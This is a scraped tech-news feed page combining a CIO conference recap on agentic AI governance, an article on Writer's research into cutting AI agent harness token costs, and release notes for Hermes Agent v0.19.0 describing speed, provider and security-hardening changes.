CSO and CIO Contributor Joan Goodchild moderated “Securing Trust in the Agentic Economy,” a discussion with Marlowe Cochran, CISO at the New York State Education Department, and Gee Rittenhouse, vice president of security services at AWS, on how organizations are balancing speed, innovation and security as AI agents move from experimentation into productization at scale.

Rittenhouse framed agentic risk as closer to human risk than traditional software risk, describing how an independent agent acting in a non-deterministic way really does look like a potential insider threat, pushing CISOs toward behavioral monitoring over static workload protection. He tied this to a structural shift in defense, noting it’s hard to do agentic security if you’re not observing it, putting observability at the center of agentic risk management.

Cochran concurred, adding that many of the key tools that are needed to move into the agentic economy already exist, but must be implemented more aggressively, comprehensively and even more creatively. CISOs don’t need to invent an entirely new security discipline for the agentic era so much as extend identity management, access control and monitoring frameworks they already run to cover a new class of non-human actor — agents.

A session on “AI, From Experimentation to Enterprise Impact” brought together Meagan Gentry, national AI practice manager and distinguished technologist at Insight and Yuri Gubin, chief technology officer at DataArt, for a candid look at why pilots stall before reaching scaled production and what operating capabilities, governance, cost visibility, continuous education, must be in place to sustain AI once a proof of concept works.

During the session’s Q&A segment, a discussion emerged around how proof-of-concept success can result in a false signal, raising questions about whether pilots should be considered successful before the intended outcomes have had time to materialize, and drawing a distinction between measuring usage and adoption versus measuring business value.

The panelists explored how CIOs can identify the small number of transformational AI opportunities worth pursuing rather than managing hundreds of incremental use cases, and even challenged whether prioritization is the CIO’s job at all. The discussion closed on a sequencing question with real strategic weight, whether AI-first strategies are putting the technology ahead of the business problem CIOs are trying to solve, and what role CIOs should play with boards in defining the outcomes AI is expected to support.

A shift in perspectives

The “Think Like a VC, Investment Shifts Towards Focused AI Applications” session featured three venture investors, Aaron Darr, partner at Lead Edge; Isabelle Phelps, partner at Lerer Hippeau; and Marshall Porter, general partner at AlleyCorp. The panel explored how investors evaluate risk and talent in a market where products and competitive positions can shift within months, and what separates a focused AI application with durable enterprise value from an AI wrapper built to chase a trend.

The panel challenged the enterprise instinct to seek certainty in a market moving this fast, questioning whether CIOs should stop looking for technologies that will future-proof the enterprise and instead grow more comfortable continuously reassessing their bets. Investors framed this as a deliberate departure from the traditional low-tolerance-for-failure posture that has long governed enterprise technology purchasing, arguing that the search for certainty has itself become a risk in a market where products and business models can shift within months. The discussion pressed CIOs to weigh how they can adopt a more dynamic investment mindset without compromising the enterprise security, governance and accountability their organizations still depend on.

A Lightning Insights followed, featuring five-minute briefings from Insight, Platform9 and Console, followed by Keystone Senior Principal Ellora Sarkar’s talk on why most enterprise AI investment fails to produce measurable value and what separates the small share of firms capturing real return on investment from the majority still stuck in pilots.

Closing the day

The forum closed with “What’s Next for the CIO, Preparing for the Next 12 to 24 Months,” a fireside conversation with Leif Maiorini, CIO for corporate services at Omnicom. Maiorini discussed why business processes need to be redesigned for agentic speed rather than automated around existing human workflows, how organizational structures may shift as autonomous agents reshape visibility and decision support, and where sustainable differentiation will come from once AI capability itself becomes widely accessible.

Maiorini encouraged the industry to clearly distinguish between nondifferentiated services that should be made as efficient as possible and the differentiated capabilities that actually influence why customers choose to do business with an organization, once the major efficiency gains from optimization and AI have been captured.

He was candid about the governance gap agentic systems open up, noting that agents lack the professional reputation, personal accountability and inherent constraints that shape human behavior, which creates new risk when autonomous decisions occur at machine speed. That combination, reinvesting efficiency gains into genuine differentiation while building governance models suited to non-human decision-makers, framed his closing case for why human creativity and judgment remain the enterprise’s most durable asset even as the underlying technology becomes commoditized.

Join the CIO 100 Awards & Conference Aug 17–19, 2026 at Omni PGA Frisco Resort & Spa, Frisco, TX — where top IT leaders celebrate innovation and connect.  Learn more to attend or partner.

]]> <![CDATA[Automated Observability with Puppet in a Zero-Trust Environment (voxconf2026)]]> https://tsecurity.de/de/3682310/it-security-video/automated-observability-with-puppet-in-a-zero-trust-environment-voxconf2026/ https://tsecurity.de/de/3682310/it-security-video/automated-observability-with-puppet-in-a-zero-trust-environment-voxconf2026/ Tue, 21 Jul 2026 00:34:08 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[Automated Observability with Puppet in a Zero-Trust Environment (voxconf2026)]]> https://tsecurity.de/de/3682288/it-security-video/automated-observability-with-puppet-in-a-zero-trust-environment-voxconf2026/ https://tsecurity.de/de/3682288/it-security-video/automated-observability-with-puppet-in-a-zero-trust-environment-voxconf2026/ Tue, 21 Jul 2026 00:18:38 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[Writer's AI harness cuts token spend nearly 40% — without sacrificing accuracy]]> https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/ https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/ Mon, 20 Jul 2026 23:48:13 +0200 📰 IT Nachrichten tsecurity.de Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.

A new paper from researchers at Writer provides a solution that is accessible to engineering teams. The study takes a systematic look at optimizing the different components of the orchestration layer that wraps around the foundation model, aka the AI harness. 

By optimizing the harness, the researchers show dramatic reductions in tokens per task, a drop in cost-per-successful-task by up to 61%, and quality that holds steady, all without changing the underlying foundation model.

Because the harness is fully under the developer's control and requires no model fine-tuning, engineering teams can apply these findings to build highly cost-efficient AI applications.

The ROI crisis of tokenmaxxing

The current state of AI engineering is plagued by "tokenmaxxing," an industry trend where developers rely on massive context windows and brute-force token consumption as a substitute for good system design. 

Rather than engineering elegant workflows, developers have imported a reflex from traditional software development: generate, run, fail, stuff the error and more context back into the window, and retry. 

"Teams tokenmaxx because it's the cheapest fix in the moment, and because it's literally how most engineers work today," Waseem AlShikh, CTO and co-founder of Writer, told VentureBeat. Because this approach succeeds often enough on coding tasks, it has become the default reflex for every other agentic workload. The danger is that per-token price drops mask the underlying inefficiency. 

"Your invoice is tokens-per-task times price-per-token, and most teams only watch the second number," AlShikh said. "In agentic workloads, tokens-per-task compounds — every loop iteration re-transmits the growing context — and it compounds faster than prices fall. The price cut becomes an anesthetic. It masks the fact that the loop itself is bleeding."

Tokenmaxxing leads to several enterprise failure modes. Teams route simple tasks to premium frontier models by default. They use the LLM as a lazy search index, stuffing the context window with raw documents instead of retrieving exact answers. Most destructively, they build unconstrained agentic loops that spiral out of control when the model encounters an error. Because output tokens cost significantly more than input tokens across all major model providers, inefficient task execution acts as a silent budget killer.

The industry has introduced several efficiency techniques to curb these costs, but they largely fall short because they treat the model in isolation: 

  • Prompt compression condenses input text to save space, but ignores how the system sequences those inputs across complex workflows. 

  • Budgeted reasoning caps the computational steps a model can take, which often degrades output quality if the workflow isn't intelligently routed. 

  • Terse coding forces models to output minimal code to save output tokens, but does nothing to solve inefficient tool calling. 

  • Speculative decoding uses a smaller draft model to speed up a larger model's text generation, optimizing inference speed while failing to address bloated agent architectures.

These efforts fail because they optimize the engine while ignoring the transmission. They do not look at the orchestration layer, leaving underlying architectural inefficiencies unresolved.

Unpacking the harness: the levers of efficiency

The harness is the orchestration layer that routes, formats, and turns the underlying LLM into a working system.

The core levers of harness optimization include system prompt caching, interaction history compaction, tool management, retrieval strategies, and error management. These are the most accessible intervention points for engineering teams looking to improve AI performance. 

As the Writer researchers note in the study: “If the harness is the layer that composes model calls into work, it is also the layer that sets the price of work.”

Historically, developers have treated the harness as disposable glue code designed simply to connect an API to a user interface. The study signals that the harness must now be treated as a first-class object: a primary software artifact that requires its own testing, versioning, and rigorous design. 

For enterprises, this reframes the "own-versus-rent" decision. 

"Enterprises spend months on model evaluations and then rent their orchestration off the shelf — which means they're optimizing the smaller lever and outsourcing the bigger one," AlShikh said. "Whoever owns the harness owns your unit economics, and an open framework tuned for demos is not tuned for your invoice." 

Inside the experiments

To isolate the impact of the orchestration layer, the researchers ran experiments on six foundation models spanning multiple vendors and weight classes: Claude Sonnet 4.6, Gemini 3.1, Gemini Flash 3.5, Qwen 3.6, GLM 5.1, and Writer’s own model, Palmyra X6. 

Their experiments compared a frozen, conventional production agent loop against the finished Writer Agent Harness on the same 22 locked enterprise tasks, spanning capabilities like grounding and retrieval, multi-step workflows, tool use, and content generation. By holding the models and tasks constant, they could isolate the effects of the orchestration layer itself.

The optimized harness drove a significant drop in costs, cutting the blended cost per task by 41%, from 21 cents to 12 cents. This was largely achieved by slashing token consumption, with the number of tokens per task falling 38%, from 14.2k to 8.8k.

The harness is designed to delegate tasks like search to specialized sub-agents. A sub-agent receives only the tool and the specific query it needs, retrieves the exact data, and returns a capped, clean summary to the main agent — keeping the primary context window from filling up with raw search results.

Task success rates held steady even as token use fell — moving from 78% to 81%, a gain the researchers describe as directional rather than statistically significant at their sample size, meaning quality didn't suffer even as costs dropped.

End-to-end task latency also dropped significantly, reducing the median wall-clock time by 44%, from 48 seconds to 27 seconds, due to prompt caching and the elimination of dead-end reasoning loops.

However, the researchers also found limits to multi-agent orchestration. Smaller models like Gemini Flash 3.5 and Qwen 3.6 scored well below a usable reliability threshold on sub-agent delegation tasks (0.45 and 0.42, respectively) — the capability simply isn't dependable yet on lighter-weight models.

Sub-agent orchestration only crossed a usable reliability threshold on the two strongest models tested: Writer's own Palmyra X6 (0.86) and Claude Sonnet 4.6 (0.85).

The developer’s playbook: actionable takeaways and tradeoffs

The findings from the study translate into a playbook for enterprise developers building agentic workflows at scale. The first step is to implement what AlShikh calls the "Two-Zone Prompt" and "Context Offloading."

Structure for system prompt caching (The Two-Zone Prompt): Modern LLM APIs offer prompt caching, but developers must structure their payloads correctly to trigger it. Developers must separate the "stable zone" from the "volatile zone." Place static, unchanging elements (e.g., core rules, large tool schemas, and standard operating procedures) at the top of the prompt. Dynamic elements, such as the specific user query or recent conversational task state, must be appended at the bottom. This ordering allows the harness to reuse the cached prefix across hundreds of calls. "That single separation makes prompt caching actually work and stops you from re-paying for the same instructions on every one of an agent's thirty steps," AlShikh said.

Manage context with Context Offloading: Avoid context stuffing, where every turn of a loop is appended into a monolithic prompt until the window maxes out. Instead, move history and intermediate artifacts out of the window into retrievable storage, and pull back only what the current step needs. If possible, delegate tasks to single-purpose sub-agents to avoid context bloat. As AlShikh points out, "the biggest line item in agent spend isn't reasoning — it's re-sending things the model has already seen."

Build resilient loops and redefine KPIs: Unmanaged agent loops drain API budgets rapidly. Teams must begin tracking Completions Per Million tokens (CPM) to understand their true task costs, but the harness itself must contain physical guardrails. "The core principle is that you never ask the model to police its own spending," AlShikh said. "The fence has to live below the model, in code, on your side of the API." This requires three hard checks:

  • Hard per-task token budgets: The run terminates when the budget is spent, no exceptions.

  • Generation fencing: Caps on steps, tool calls, and recursion depth to stop non-converging agents. 

  • Failure-spend governance: Cap what a run can spend after its first failed validation so a failing task doesn't become your most expensive task.

Avoid unnecessary complexity: Optimizing the orchestration layer comes with engineering overhead. If you're in the prototyping and exploration stage, that overhead isn't justified — iterate fast with a strong model and a light harness. Once you're scaling to millions of requests a day, the savings from harness optimization become substantial.

However, teams must be aware of "harness leverage." Adding structural scaffolding requires the model to hold and obey that context. If a model is too small, it will spend its limited capacity parsing the scaffolding instead of doing the task, causing accuracy to drop and tokens to rise. The rule for adding complex orchestration features is strictly mathematical: "If a feature adds more coordination tokens than it removes task tokens for that specific model, cut it," AlShikh said. "Nothing in the harness is free."

The future of the enterprise harness

The era of tokenmaxxing and treating context windows like bottomless buckets is coming to an end. Throwing more compute at poorly designed systems is not a viable strategy for companies that need to demonstrate a return on their AI investments. 

As foundation models evolve to absorb planning, tool selection, and multi-step reasoning natively into their weights, the role of the harness will shift from compensating for model weakness to enforcing enterprise policy.

"What never moves into the model is the 'allowed': budgets, permissions, data boundaries, audit trails, deterministic kill-switches," AlShikh said. "Five years from now, the harness will be thinner but more important. There will be less scaffolding and more governance. However capable the model gets, someone external to it still has to define what it may spend, see, and touch. That layer belongs to the enterprise, and it should never be rented."

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]]> <![CDATA[Natural raises $30M to reinvent payments for AI agents — and take on Stripe]]> https://tsecurity.de/de/3682020/it-nachrichten/natural-raises-30m-to-reinvent-payments-for-ai-agents-and-take-on-stripe/ https://tsecurity.de/de/3682020/it-nachrichten/natural-raises-30m-to-reinvent-payments-for-ai-agents-and-take-on-stripe/ Mon, 20 Jul 2026 21:17:25 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]> https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/ https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/ Mon, 20 Jul 2026 20:46:40 +0200 đŸ’Ÿ Downloads tsecurity.de Hermes Agent v0.19.0 (v2026.7.20)

Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped ~80% on every platform, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now manage your Nous subscription without leaving the terminal, plug Bitwarden and 1Password straight into Hermes, let smart approvals judge flagged commands for you by default, watch your subagents work live, and trust that a finished response survives a gateway crash thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.

✹ Highlights

  • Hermes got dramatically faster — first token in a fraction of the time — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you see while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (#59332, #59389 — @teknium1)

  • The desktop app speed wave — 20+ targeted perf PRs — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (#67154, #67818, #65898, #66033, #66747, #67742 and more — @OutThisLife)

  • Manage your Nous plan from the terminal — /subscription and /topup — Changing your subscription used to mean a trip to the billing website. Now /subscription opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 & upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (#51639, #61054, #61067 — @alt-glitch)

  • Smart approvals are now the default — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new user-defined deny rules (which block commands even under yolo mode) and /deny <reason> (which tells the agent why you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (#62661, #59164, #54518 — @teknium1)

  • Plug your password manager into Hermes — Bitwarden & 1Password secret sources — API keys no longer have to live in a plaintext .env. A new pluggable SecretSource interface lets Hermes fetch secrets from Bitwarden and 1Password (op:// references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (#59498 — @teknium1, 1Password provider salvaged from @hwrdprkns)

  • Watch your subagents work — live transcripts + durable background delegation — delegate_task dispatches now return live transcript files you can tail -f the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now durable — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (#67479, #63494 — @teknium1)

  • A finished answer can no longer be lost — the delivery-obligation ledger — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in state.db around the platform send and redelivered on the next boot — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (#67181 — @teknium1)

  • One gateway, many profiles — profile-based message routing — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the work profile and your hobby server at personal, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (#64835 salvaging @Burgunthy, #65700, #60589 — @teknium1, @benbarclay + six salvaged contributors)

  • New providers and the newest frontier models — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a #2 slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route), grok-4.5 (GA), moonshotai/kimi-k3, claude-fable-5 / claude-sonnet-5, and GA tencent/hy3 — plus LM Studio JIT model loading for local setups. (#62593, #63969, #61616 — @kshitijk4poor completing @rob-maron's #61578, #60887, #65913, #64541, #65472)

  • Crank the thinking to max — new reasoning effort tiers and per-model control — Reasoning effort gained max and ultra levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin per-model reasoning-effort overrides in config, set per-slot effort in MoA presets (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (#62650, #64458, #64631, #64597 — @teknium1)

  • Your sessions, your data — export everything — hermes sessions export now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in --redact secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (#60186 salvaging @web3blind, #60492, #60507, #59327 — @teknium1)

  • Security hardening round — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (#57660, #58709, #59215, #56582, #57842 — @teknium1, @srojk34, @kshitijk4poor, @jquesnelle)

⚡ Performance — the speed spine

First-turn latency (all platforms)

  • ~80% TTFT cut — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (#59332 — @teknium1)
  • Perceived-latency round 2 — display.show_reasoning default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (#59389 — @teknium1)
  • Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (#64460, #67788 — @teknium1, @OutThisLife)

Desktop speed wave

  • 14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (#67154, #67818, #65898, #66033 — @OutThisLife)
  • Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (#66747, #66347, #67857, #66470 — @OutThisLife)
  • Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (#67742, #67842, #67195, #67245, #67824, #67838, #67844 — @OutThisLife)
  • Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (#67466, #67697 — @OutThisLife)

Everywhere else

  • TUI renders streamed markdown incrementally per block (#67236 — @OutThisLife)
  • Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (#61414, #61131, #63941 — @kshitijk4poor, @ethernet8023)
  • Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway session.resume model + display history from one SELECT (#61133, #61368, #67247 — @kshitijk4poor, @OutThisLife)
  • hermes update skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (#61580, #60883 — @kshitijk4poor)
  • Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (#67403 — @kshitijk4poor)

đŸ—ïž Core Agent & Architecture

Providers & models

  • Fireworks AI provider with cost estimation + cached picker price columns, promoted to #2 in provider pickers (#62593, #65476, #65214 — @teknium1)
  • DeepInfra hardened integration; Upstage Solar provider (#42231 salvage) (#63969, #64541 — @kshitijk4poor)
  • GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end — context lengths, native/Codex catalogs, pricing, compaction caps across every route (#61616 — @kshitijk4poor, building on @rob-maron)
  • grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (#60887, #65913, #65922, #56617, #60943 — @teknium1)
  • Catalog-labeled silent default (GLM-5.2) + bare-provider /model cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (#64771, #65472, #67606 — @teknium1, @kshitijk4poor)
  • GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (#58884, #61873 — @vishal-dharm, #57038, #57028 — @teknium1)
  • Claude Sonnet 5 fully wired — curated lists, intro pricing, and metadata across every route (#67932 — @teknium1)
  • Hide providers you don't use — enabled: false per-provider flag + excluded_providers config scrub unwanted providers from /model pickers and built-in resolution (#67971 — @teknium1)
  • Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (#68007, #67977, #68005, #67976 — @teknium1)
  • kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (#68108 — @teknium1)
  • Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (#67758, #67904, #67908 — @teknium1)

Reasoning & MoA

  • max + ultra effort levels across every surface and route (#62650 — @teknium1)
  • Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped /reasoning in the CLI (#64458, #64597, #64631, #67946 — @teknium1)
  • MoA: reference_max_tokens to cap advisor output and cut latency; per-preset fanout cadence (user_turn runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (#56756, #57591, #64756 — @teknium1)

Delegation, approvals & the agent loop

  • Live subagent transcripts + durable background completions (see Highlights) (#67479, #63494 — @teknium1)
  • Smart approvals default; user-defined deny rules (block even under yolo); /deny <reason> relays the denial reason; plugin pre_tool_call approve action escalates to a human gate (re-landed with rule keys) (#62661, #59164, #54518, #60504 — @teknium1, @kshitijk4poor)
  • Unified delegation concurrency caps (max_async_children deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (#56955, #64775, #61793 — @teknium1)
  • Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through thread/compact/start, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via /usage reset (#66514, #66115, #60114, #58155, #62225 — @teknium1, @kshitijk4poor, @JoaoMarcos44, #64280 — @teknium1)
  • Hooks: oversized hook-injected context spills to disk (#20468 — @teknium1)
  • Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (#62016 — @OutThisLife)

Secrets & config

  • Pluggable SecretSource interface + Bitwarden & 1Password providers (see Highlights) (#59498 — @teknium1, @hwrdprkns)
  • hermes config get / unset; warn on unknown root config keys + doctor deprecated-key reporting; display.timestamp_format (#65540, #67370, #40622 — @teknium1)
  • Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; --usage-file JSON report for hermes -z (#65537, #65468, #59615 — @teknium1)

Sessions & compression

  • Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, --redact, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (#60186, #60492, #60507, #59327, #63091 — @teknium1, @web3blind)
  • Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (#67275, #67916, #65046, #56868 — @kshitijk4poor, @teknium1)
  • Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an api_content sidecar (#58899, #59203, #67274 — @teknium1, @kshitijk4poor)

🌐 Gateway, Fleet & Relay

  • Durable delivery-obligation ledger for final responses (see Highlights) (#67181 — @teknium1)
  • Profile-based routing for inbound messages + multiplex hardening wave 2 + GATEWAY_MULTIPLEX_PROFILES override (see Highlights) (#64835, #65700, #60589 — @teknium1, @benbarclay + salvaged contributors)
  • Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session /model overrides persist across restarts (#67401, #65783, #62645, #56967, #57030 — @teknium1)
  • Session auto-reset default off; /sessions search <query>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (#60194, #57685, #60944, #65702, #58872 — @teknium1)
  • Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + nous_session_valid on /api/status for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (#60730, #60586, #64649, #59976, #59969, #59983 — @benbarclay)

đŸ“± Messaging Platforms

  • Inline choice pickers for /reasoning and /fast on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (#65799 — @teknium1)
  • WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (#58865, #60571 — @teknium1)
  • Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (#66149, #60187, #60230, #60493, #51751 — @teknium1)
  • Slack: live per-tool status line (#67080 — @teknium1, salvaging #62007)
  • Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (#65543, #65546 — @teknium1)
  • Voice: stt.echo_transcripts toggle; MEDIA: captions attached to the media bubble on standalone sends; display.tool_progress: log option (#58859, #61415, #57014 — @teknium1, @kshitijk4poor)

đŸ–„ïž Hermes Desktop App

  • Contribution-driven shell on a layout-tree model — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (#60638, #67303 — @OutThisLife)
  • Capabilities page — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (#57590, #57441, #67482 — @OutThisLife, @teknium1)
  • Hermes Cloud connection mode (salvage of #55402); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (#61912, #61916, #67203 — @OutThisLife, @teknium1)
  • Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (#65204, #62243, #65109, #65174, #61147, #57913 — @ethernet8023, @OutThisLife)
  • Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (#67469, #67681, #67282, #63086 — @OutThisLife)
  • Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; /journey opens the memory graph overlay (#67206 salvaging @erosika, #67209, #67759 — @austinpickett, #67472, #63520, #60457, #67029, #64598, #57267 — @teknium1, @OutThisLife)
  • Full TypeScript conversion of the desktop tree (#57855 — @ethernet8023)

📊 Web Dashboard

🧰 CLI & TUI

  • /subscription + /topup terminal billing (see Highlights) (#51639 — @alt-glitch)
  • /model --once — one-turn model override that reverts automatically (#67113 — @teknium1, salvaging #29923)
  • Stacked slash-skill invocations — /skill-a /skill-b do XYZ loads both skills in order (Claude Code port), with autocomplete + ghost text (#57987, #58763 — @teknium1)
  • --safe-mode troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; /compact alias + preview flags; pip/Homebrew installs warned unsupported (#45300, #60111, #57992, #57029, #57225 — @teknium1, @ethernet8023)
  • TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (#59782 — @helix4u, #62859 — @Adolanium, #40624 — @teknium1)
  • Hermes Console REPL + perf follow-ups; hermes curator usage all-skills view; entry-point plugins surfaced in hermes plugins list (#57781 — @kshitijk4poor, #36727, #40623 — @teknium1)

🔧 Tool System, Skills & MCP

  • MCP: mcp__server__tool naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable redirect_uri/redirect_host for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (#52750, #57416, #66151, #65610, #65622, #64463 — @teknium1, @benbarclay)
  • Skills: security/unbroker (autonomous data-broker removal) + blind opt-out hardening; unreal-mcp companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; mcp-oauth-remote-gateway optional skill (#57438, #57902, #65989, #64715 — @SHL0MS, #65066, #65486 — @teknium1)
  • Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (#65923, #67123 — @teknium1)
  • Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (#66333, #63638, #60226, #65698, #63249 — @teknium1)
